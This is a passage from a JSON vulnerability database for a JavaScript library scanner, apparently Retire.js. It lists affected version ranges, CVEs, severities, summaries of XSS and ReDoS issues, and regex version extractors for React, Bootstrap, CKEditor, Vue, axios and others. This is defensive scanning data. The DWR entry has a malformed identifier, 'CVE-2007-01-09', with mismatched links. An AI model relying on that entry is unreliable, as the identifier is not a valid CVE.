\"16.0.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-6341\"\n          ],\n          \"summary\": \"potential XSS vulnerability when the attacker controls an attribute name\"\n        },\n        \"info\": [\n          \"https://github.com/facebook/react/blob/master/CHANGELOG.md\",\n          \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"16.1.0\",\n        \"below\": \"16.1.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-6341\"\n          ],\n          \"summary\": \"potential XSS vulnerability when the attacker controls an attribute name\"\n        },\n        \"info\": [\n          \"https://github.com/facebook/react/blob/master/CHANGELOG.md\",\n          \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"16.2.0\",\n        \"below\": \"16.2.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-6341\"\n          ],\n          \"summary\": \"potential XSS vulnerability when the attacker controls an attribute name\"\n        },\n        \"info\": [\n          \"https://github.com/facebook/react/blob/master/CHANGELOG.md\",\n          \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"16.3.0\",\n        \"below\": \"16.3.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-6341\"\n          ],\n          \"summary\": \"potential XSS vulnerability when the attacker controls an attribute name\"\n        },\n        \"info\": [\n          \"https://github.com/facebook/react/blob/master/CHANGELOG.md\",\n          \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"16.4.0\",\n        \"below\": \"16.4.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-6341\"\n          ],\n          \"summary\": \"potential XSS vulnerability when the attacker controls an attribute name\"\n        },\n        \"info\": [\n          \"https://github.com/facebook/react/blob/master/CHANGELOG.md\",\n          \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"react.version\",\n        \"require('react').version\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*\\\\*\\n +\\\\* React \\\\(with addons\\\\) ?v(§§version§§)\",\n        \"/\\\\*\\\\*\\n +\\\\* React v(§§version§§)\",\n        \"\\\"\\\\./ReactReconciler\\\":[0-9]+,\\\"\\\\./Transaction\\\":[0-9]+,\\\"fbjs/lib/invariant\\\":[0-9]+\\\\}\\\\],[0-9]+:\\\\[function\\\\(require,module,exports\\\\)\\\\{\\\"use strict\\\";module\\\\.exports=\\\"(§§version§§)\\\"\\\\}\",\n        \"ReactVersion\\\\.js[\\\\*! \\\\\\\\/\\n\\r]{0,100}function\\\\(e,t\\\\)\\\\{\\\"use strict\\\";e\\\\.exports=\\\"(§§version§§)\\\"\",\n        \"expected a ReactNode.[\\\\s\\\\S]{0,1800}?function\\\\(e,t\\\\)\\\\{\\\"use strict\\\";e\\\\.exports=\\\"(§§version§§)\\\"\"\n      ]\n    }\n  },\n  \"flowplayer\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"5.4.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS vulnerability in Flash fallback\",\n          \"issue\": \"381\"\n        },\n        \"info\": [\n          \"https://github.com/flowplayer/flowplayer/issues/381\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"flowplayer-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"flowplayer-(§§version§§)(\\\\.min)?\\\\.js\"\n      ]\n    }\n  },\n  \"DWR\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.1.4\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2007-01-09\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2014-5326/\",\n          \"http://www.cvedetails.com/cve/CVE-2014-5326/\"\n        ]\n      },\n      {\n        \"below\": \"2.0.11\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-5326\",\n            \"CVE-2014-5325\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2014-5326/\",\n          \"http://www.cvedetails.com/cve/CVE-2014-5326/\"\n        ]\n      },\n      {\n        \"above\": \"3\",\n        \"below\": \"3.0.RC3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2014-5326\",\n            \"CVE-2014-5325\"\n          ]\n        },\n        \"info\": [\n          \"http://www.cvedetails.com/cve/CVE-2014-5326/\",\n          \"http://www.cvedetails.com/cve/CVE-2014-5326/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"func\": [\n        \"dwr.version\"\n      ],\n      \"filecontent\": [\n        \" dwr-(§§version§§).jar\"\n      ]\n    }\n  },\n  \"moment.js\": {\n    \"bowername\": [\n      \"moment\",\n      \"momentjs\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"2.11.2\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"reDOS - regular expression denial of service\",\n          \"issue\": \"2936\"\n        },\n        \"info\": [\n          \"https://github.com/moment/moment/issues/2936\"\n        ]\n      },\n      {\n        \"below\": \"2.15.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Regular Expression Denial of Service (ReDoS)\",\n          \"retid\": \"22\"\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/npm:moment:20161019\"\n        ]\n      },\n      {\n        \"below\": \"2.19.3\",\n        \"severity\": \"low\",\n        \"identifiers\": {\n          \"summary\": \"Regular Expression Denial of Service (ReDoS)\",\n          \"CVE\": [\n            \"CVE-2017-18214\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/npm:moment:20170905\",\n          \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18214\",\n          \"https://github.com/moment/moment/issues/4163\"\n        ]\n      },\n      {\n        \"below\": \"2.29.2\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.\",\n          \"CVE\": [\n            \"CVE-2022-24785\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/moment/moment/security/advisories/GHSA-8hfj-j24r-96c4\"\n        ]\n      },\n      {\n        \"below\": \"2.29.4\",\n        \"atOrAbove\": \"2.18.0\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Regular Expression Denial of Service (ReDoS), Affecting moment package, versions >=2.18.0 <2.29.4\",\n          \"CVE\": [\n            \"CVE-2022-31129\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-MOMENT-2944238\",\n          \"https://github.com/moment/moment/security/advisories/GHSA-wc69-rhjr-hc9g\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/moment\\\\.js/(§§version§§)/moment(.min)?\\\\.js\"\n      ],\n      \"func\": [\n        \"moment.version\"\n      ],\n      \"filecontent\": [\n        \"//! moment.js(?:[\\n\\r]+)//! version : (§§version§§)\",\n        \"\\\\.version=\\\"(§§version§§)\\\".{300,500}\\\\.isMoment=\"\n      ]\n    }\n  },\n  \"underscore.js\": {\n    \"bowername\": [\n      \"Underscore\",\n      \"underscore\"\n    ],\n    \"vulnerabilities\": [\n      {\n        \"below\": \"1.12.1\",\n        \"atOrAbove\": \"1.3.2\",\n        \"severity\": \"High\",\n        \"identifiers\": {\n          \"summary\": \" vulnerable to Arbitrary Code Injection via the template function\",\n          \"CVE\": [\n            \"CVE-2021-23358\"\n          ]\n        },\n        \"info\": [\n          \"https://nvd.nist.gov/vuln/detail/CVE-2021-23358\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/underscore\\\\.js/(§§version§§)/underscore(-min)?\\\\.js\"\n      ],\n      \"func\": [\n        \"underscore.version\"\n      ],\n      \"filecontent\": [\n        \"//[\\\\s]*Underscore.js (§§version§§)\"\n      ]\n    }\n  },\n  \"bootstrap\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"4.3.1\",\n        \"atOrAbove\": \"4.0.0\",\n        \"identifiers\": {\n          \"issue\": \"28236\",\n          \"summary\": \"XSS in data-template, data-content and data-title properties of tooltip/popover\",\n          \"CVE\": [\n            \"CVE-2019-8331\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/28236\"\n        ]\n      },\n      {\n        \"below\": \"3.4.1\",\n        \"identifiers\": {\n          \"issue\": \"28236\",\n          \"summary\": \"XSS in data-template, data-content and data-title properties of tooltip/popover\",\n          \"CVE\": [\n            \"CVE-2019-8331\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/28236\"\n        ]\n      },\n      {\n        \"below\": \"4.1.2\",\n        \"atOrAbove\": \"4.0.0\",\n        \"identifiers\": {\n          \"issue\": \"20184\",\n          \"summary\": \"XSS in data-target property of scrollspy\",\n          \"CVE\": [\n            \"CVE-2018-14041\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/20184\"\n        ]\n      },\n      {\n        \"below\": \"3.4.0\",\n        \"identifiers\": {\n          \"issue\": \"20184\",\n          \"summary\": \"XSS in data-target property of scrollspy\",\n          \"CVE\": [\n            \"CVE-2018-14041\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/20184\"\n        ]\n      },\n      {\n        \"below\": \"4.1.2\",\n        \"atOrAbove\": \"4.0.0\",\n        \"identifiers\": {\n          \"issue\": \"20184\",\n          \"summary\": \"XSS in collapse data-parent attribute\",\n          \"CVE\": [\n            \"CVE-2018-14040\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/20184\"\n        ]\n      },\n      {\n        \"below\": \"3.4.0\",\n        \"identifiers\": {\n          \"issue\": \"20184\",\n          \"summary\": \"XSS in collapse data-parent attribute\",\n          \"CVE\": [\n            \"CVE-2018-14040\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/20184\"\n        ]\n      },\n      {\n        \"below\": \"4.1.2\",\n        \"atOrAbove\": \"4.0.0\",\n        \"identifiers\": {\n          \"issue\": \"20184\",\n          \"summary\": \"XSS in data-container property of tooltip\",\n          \"CVE\": [\n            \"CVE-2018-14042\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/20184\"\n        ]\n      },\n      {\n        \"below\": \"3.4.0\",\n        \"identifiers\": {\n          \"issue\": \"20184\",\n          \"summary\": \"XSS in data-container property of tooltip\",\n          \"CVE\": [\n            \"CVE-2018-14042\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/issues/20184\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"3.0.0\",\n        \"below\": \"3.4.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS is possible in the data-target attribute.\",\n          \"CVE\": [\n            \"CVE-2016-10735\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/advisories/GHSA-4p24-vmcr-4gqj\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.0.0-beta\",\n        \"below\": \"4.0.0-beta.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS is possible in the data-target attribute.\",\n          \"CVE\": [\n            \"CVE-2016-10735\"\n          ]\n        },\n        \"info\": [\n          \"https://github.com/advisories/GHSA-4p24-vmcr-4gqj\"\n        ]\n      },\n      {\n        \"below\": \"2.1.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"cross-site scripting vulnerability\",\n          \"issue\": \"3421\"\n        },\n        \"info\": [\n          \"https://github.com/twbs/bootstrap/pull/3421\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/(§§version§§)/bootstrap(\\\\.min)?\\\\.js\",\n        \"/(§§version§§)/js/bootstrap(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"bootstrap-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!? Bootstrap v(§§version§§)\",\n        \"\\\\* Bootstrap v(§§version§§)\",\n        \"/\\\\*! Bootstrap v(§§version§§)\",\n        \"this\\\\.close\\\\)\\\\};.\\\\.VERSION=\\\"(§§version§§)\\\"(?:,.\\\\.TRANSITION_DURATION=150)?,.\\\\.prototype\\\\.close\"\n      ],\n      \"hashes\": {}\n    }\n  },\n  \"ckeditor\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"4.4.3\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"13\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-443\"\n        ]\n      },\n      {\n        \"below\": \"4.4.6\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"14\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-446\"\n        ]\n      },\n      {\n        \"below\": \"4.4.8\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"15\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-448\"\n        ]\n      },\n      {\n        \"below\": \"4.5.11\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"16\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-4511\"\n        ]\n      },\n      {\n        \"below\": \"4.9.2\",\n        \"atOrAbove\": \"4.5.11\",\n        \"identifiers\": {\n          \"summary\": \"XSS if the enhanced image plugin is installed\",\n          \"retid\": \"17\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://ckeditor.com/blog/CKEditor-4.9.2-with-a-security-patch-released/\",\n          \"https://ckeditor.com/cke4/release-notes\"\n        ]\n      },\n      {\n        \"atOrAbove\": \"4.0.0\",\n        \"below\": \"4.11.0\",\n        \"identifiers\": {\n          \"summary\": \"XSS vulnerability in the HTML parser\",\n          \"retid\": \"18\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://ckeditor.com/blog/CKEditor-4.11-with-emoji-dropdown-and-auto-link-on-typing-released/\",\n          \"https://snyk.io/vuln/SNYK-JS-CKEDITOR-72618\"\n        ]\n      },\n      {\n        \"below\": \"4.15.1\",\n        \"identifiers\": {\n          \"summary\": \"XSS-type attack inside CKEditor 4 by persuading a victim to paste a specially crafted HTML code into the Color Button dialog\",\n          \"retid\": \"19\"\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/blob/major/CHANGES.md#ckeditor-4151\"\n        ]\n      },\n      {\n        \"below\": \"4.14.0\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"20\"\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/blob/major/CHANGES.md#ckeditor-414\"\n        ]\n      },\n      {\n        \"below\": \"4.16.0\",\n        \"identifiers\": {\n          \"summary\": \"ReDoS vulnerability in Autolink plugin and Advanced Tab for Dialogs plugin\",\n          \"retid\": \"21\"\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://ckeditor.com/cke4/release/CKEditor-4.16.0\"\n        ]\n      },\n      {\n        \"below\": \"4.16.2\",\n        \"identifiers\": {\n          \"summary\": \"XSS vulnerability in the Clipboard plugin\",\n          \"CVE\": [\n            \"CVE-2021-32809\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-7889-rm5j-hpgg\"\n        ]\n      },\n      {\n        \"below\": \"4.16.2\",\n        \"identifiers\": {\n          \"summary\": \"XSS vulnerability in the Widget plugin\",\n          \"CVE\": [\n            \"CVE-2021-32808\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-6226-h7ff-ch6c\"\n        ]\n      },\n      {\n        \"below\": \"4.16.2\",\n        \"identifiers\": {\n          \"summary\": \"XSS vulnerability in the Fake Objects plugin\",\n          \"CVE\": [\n            \"CVE-2021-37695\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-m94c-37g6-cjhc\"\n        ]\n      },\n      {\n        \"below\": \"4.17.0\",\n        \"identifiers\": {\n          \"summary\": \"XSS vulnerabilities in the core module\",\n          \"CVE\": [\n            \"CVE-2021-41164\",\n            \"CVE-2021-41165\"\n          ]\n        },\n        \"severity\": \"medium\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-pvmx-g8h5-cprj\",\n          \"https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-7h26-63m7-qhf2\"\n        ]\n      },\n      {\n        \"below\": \"4.18.0\",\n        \"identifiers\": {\n          \"summary\": \"Inject malformed URL to bypass content sanitization for XSS\",\n          \"CVE\": [\n            \"CVE-2022-24728\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor4/security/advisories/GHSA-f6rf-9m92-x2hh\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/(§§version§§)/ckeditor(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"ckeditor-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"ckeditor..js.{4,20}=\\\\{timestamp:\\\"[^\\\"]+\\\",version:\\\"(§§version§§)\",\n        \"window.CKEDITOR=function\\\\(\\\\)\\\\{var [a-z]=\\\\{timestamp:\\\"[^\\\"]+\\\",version:\\\"(§§version§§)\"\n      ],\n      \"hashes\": {},\n      \"func\": [\n        \"CKEDITOR.version\"\n      ]\n    }\n  },\n  \"ckeditor5\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"10.0.1\",\n        \"identifiers\": {\n          \"summary\": \"XSS in the link package\",\n          \"CVE\": [\n            \"CVE-2018-11093\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://ckeditor.com/blog/CKEditor-5-v10.0.1-released/\"\n        ]\n      },\n      {\n        \"below\": \"25.0.0\",\n        \"identifiers\": {\n          \"summary\": \"ReDos in several packages\",\n          \"CVE\": [\n            \"CVE-2021-21254\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor5/security/advisories/GHSA-hgmg-hhc8-g5wr\"\n        ]\n      },\n      {\n        \"below\": \"27.0.0\",\n        \"identifiers\": {\n          \"summary\": \"ReDos in several packages\",\n          \"CVE\": [\n            \"CVE-2021-21391\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor5/security/advisories/GHSA-3rh3-wfr4-76mj\"\n        ]\n      },\n      {\n        \"below\": \"35.0.0\",\n        \"identifiers\": {\n          \"summary\": \"security fix for the Markdown GFM, HTML support and HTML embed packages\",\n          \"CVE\": [\n            \"CVE-2022-31175\"\n          ]\n        },\n        \"severity\": \"low\",\n        \"info\": [\n          \"https://github.com/ckeditor/ckeditor5/compare/v34.2.0...v35.0.0\",\n          \"https://github.com/ckeditor/ckeditor5/security/advisories/GHSA-42wq-rch8-6f6j\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/(§§version§§)/ckeditor5(\\\\.min)?\\\\.js\"\n      ],\n      \"filename\": [\n        \"ckeditor5-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"const .=\\\"(§§version§§)\\\";.{0,140}?\\\\.CKEDITOR_VERSION=.;\",\n        \"CKEDITOR_VERSION=\\\"(§§version§§)\\\"\"\n      ],\n      \"hashes\": {},\n      \"func\": [\n        \"CKEDITOR_VERSION\"\n      ]\n    }\n  },\n  \"vue\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"2.6.11\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Bump vue-server-renderer's dependency of serialize-javascript to 2.1.2\",\n          \"retid\": \"10\"\n        },\n        \"info\": [\n          \"https://github.com/vuejs/vue/releases/tag/v2.6.11\"\n        ]\n      },\n      {\n        \"below\": \"2.5.17\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"potential xss in ssr when using v-bind\",\n          \"retid\": \"11\"\n        },\n        \"info\": [\n          \"https://github.com/vuejs/vue/releases/tag/v2.5.17\"\n        ]\n      },\n      {\n        \"below\": \"2.4.3\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"possible xss vector\",\n          \"retid\": \"12\"\n        },\n        \"info\": [\n          \"https://github.com/vuejs/vue/releases/tag/v2.4.3\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/vue@(§§version§§)/dist/vue\\\\.js\",\n        \"/vue/(§§version§§)/vue\\\\..*\\\\.js\",\n        \"/npm/vue@(§§version§§)\"\n      ],\n      \"filename\": [\n        \"vue-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\*!\\\\n \\\\* Vue.js v(§§version§§)\",\n        \"Vue.version = '(§§version§§)';\",\n        \"'(§§version§§)'[^\\\\n]{0,8000}Vue compiler\",\n        \"\\\\* Original file: /npm/vue@(§§version§§)/dist/vue.(global|common).js\",\n        \"const version[ ]*=[ ]*\\\"(§§version§§)\\\";[\\\\s]*/\\\\*\\\\*[\\\\s]*\\\\* SSR utils for \\\\\\\\@vue/server-renderer\",\n        \"\\\\.__vue_app__=.{0,8000}?const [a-z]+=\\\"(§§version§§)\\\",\"\n      ],\n      \"func\": [\n        \"Vue.version\"\n      ]\n    }\n  },\n  \"ExtJS\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"6.6.0\",\n        \"atOrAbove\": \"4.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2018-8046\"\n          ],\n          \"summary\": \"XSS in Sencha Ext JS 4 to 6 via getTip() method of Action Columns\"\n        },\n        \"info\": [\n          \"http://seclists.org/fulldisclosure/2018/Jul/8\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2018-8046\"\n        ]\n      },\n      {\n        \"below\": \"6.0.0\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2007-2285\"\n          ],\n          \"summary\": \"Directory traversal and arbitrary file read\"\n        },\n        \"info\": [\n          \"https://www.cvedetails.com/cve/CVE-2007-2285/\",\n          \"https://packetstormsecurity.com/files/132052/extjs-Arbitrary-File-Read.html\",\n          \"https://www.akawebdesign.com/2018/08/14/should-js-frameworks-prevent-xss/\"\n        ]\n      },\n      {\n        \"below\": \"4.0.0\",\n        \"atOrAbove\": \"3.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"CVE\": [\n            \"CVE-2010-4207\",\n            \"CVE-2012-5881\"\n          ],\n          \"summary\": \"XSS vulnerability in ExtJS charts.swf\"\n        },\n        \"info\": [\n          \"https://www.acunetix.com/vulnerabilities/web/extjs-charts-swf-cross-site-scripting\",\n          \"https://typo3.org/security/advisory/typo3-core-sa-2014-001/\",\n          \"https://www.akawebdesign.com/2018/08/14/should-js-frameworks-prevent-xss/\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/extjs/(§§version§§)/.*\\\\.js\"\n      ],\n      \"filename\": [\n        \"/ext-all-(§§version§§)(\\\\.min)?\\\\.js\",\n        \"/ext-all-debug-(§§version§§)(\\\\.min)?\\\\.js\",\n        \"/ext-base-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/*!\\n * Ext JS Library (§§version§§)\"\n      ],\n      \"func\": [\n        \"Ext && Ext.versions && Ext.versions.extjs.version\",\n        \"Ext && Ext.version\"\n      ]\n    }\n  },\n  \"svelte\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"3.49.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"issue\": \"7530\"\n        },\n        \"info\": [\n          \"https://github.com/sveltejs/svelte/pull/7530\"\n        ]\n      },\n      {\n        \"below\": \"3.46.5\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"8\"\n        },\n        \"info\": [\n          \"https://github.com/sveltejs/svelte/pull/7333\"\n        ]\n      },\n      {\n        \"below\": \"2.9.8\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"XSS\",\n          \"retid\": \"9\"\n        },\n        \"info\": [\n          \"https://github.com/sveltejs/svelte/pull/1623\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/svelte@(§§version§§)/\"\n      ],\n      \"filename\": [\n        \"svelte[@\\\\-](§§version§§)(.min)?\\\\.m?js\"\n      ],\n      \"filecontent\": [\n        \"generated by Svelte v\\\\$\\\\{['\\\"](§§version§§)['\\\"]\\\\}\",\n        \"version: '(§§version§§)' [\\\\s\\\\S]{80,200}'SvelteDOMInsert'\",\n        \"VERSION = '(§§version§§)'[\\\\s\\\\S]{21,200}parse\\\\$[0-9][\\\\s\\\\S]{10,80}preprocess\",\n        \"var version\\\\$[0-9] = \\\"(§§version§§)\\\";[\\\\s\\\\S]{10,30}normalizeOptions\\\\(options\\\\)[\\\\s\\\\S]{80,200}'SvelteComponent.html'\"\n      ],\n      \"func\": [\n        \"svelte.VERSION\"\n      ]\n    }\n  },\n  \"axios\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"0.21.3\",\n        \"severity\": \"high\",\n        \"identifiers\": {\n          \"summary\": \"Axios is vulnerable to Inefficient Regular Expression Complexity\",\n          \"CVE\": [\n            \"CVE-2021-3749\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-AXIOS-1579269\",\n          \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3749\"\n        ]\n      },\n      {\n        \"below\": \"0.21.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability\",\n          \"CVE\": [\n            \"CVE-2020-28168\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-AXIOS-1038255\",\n          \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28168\"\n        ]\n      },\n      {\n        \"below\": \"0.18.1\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Axios up to and including 0.18.0 allows attackers to cause a denial of service (application crash) by continuing to accepting content after maxContentLength is exceeded\",\n          \"CVE\": [\n            \"CVE-2019-10742\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-AXIOS-174505\",\n          \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10742\"\n        ]\n      }\n    ],\n    \"extractors\": {\n      \"uri\": [\n        \"/axios/(§§version§§)/.*\\\\.js\"\n      ],\n      \"filename\": [\n        \"axios-(§§version§§)(\\\\.min)?\\\\.js\"\n      ],\n      \"filecontent\": [\n        \"/\\\\* *axios v(§§version§§) \"\n      ],\n      \"func\": [\n        \"axios && axios.VERSION\"\n      ]\n    }\n  },\n  \"markdown-it\": {\n    \"vulnerabilities\": [\n      {\n        \"below\": \"12.3.2\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Regular Expression Denial of Service (ReDoS)\",\n          \"CVE\": [\n            \"CVE-2022-21670\"\n          ]\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-MARKDOWNIT-2331914\",\n          \"https://github.com/markdown-it/markdown-it/blob/master/CHANGELOG.md\",\n          \"https://nvd.nist.gov/vuln/detail/CVE-2022-21670\"\n        ]\n      },\n      {\n        \"below\": \"10.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Regular Expression Denial of Service (ReDoS)\",\n          \"retid\": \"6\"\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/SNYK-JS-MARKDOWNIT-459438\",\n          \"https://github.com/markdown-it/markdown-it/blob/master/CHANGELOG.md\"\n        ]\n      },\n      {\n        \"below\": \"4.3.1\",\n        \"atOrAbove\": \"4.0.0\",\n        \"severity\": \"medium\",\n        \"identifiers\": {\n          \"summary\": \"Cross-site Scripting (XSS)\",\n          \"retid\": \"7\"\n        },\n        \"info\": [\n          \"https://security.snyk.io/vuln/npm:markdown-it:20150702\",\n          \"https://github.com/markdown-it/markdown-it/blob/master/CHANGELOG.md\"\n        ]\n      },\n      {\n        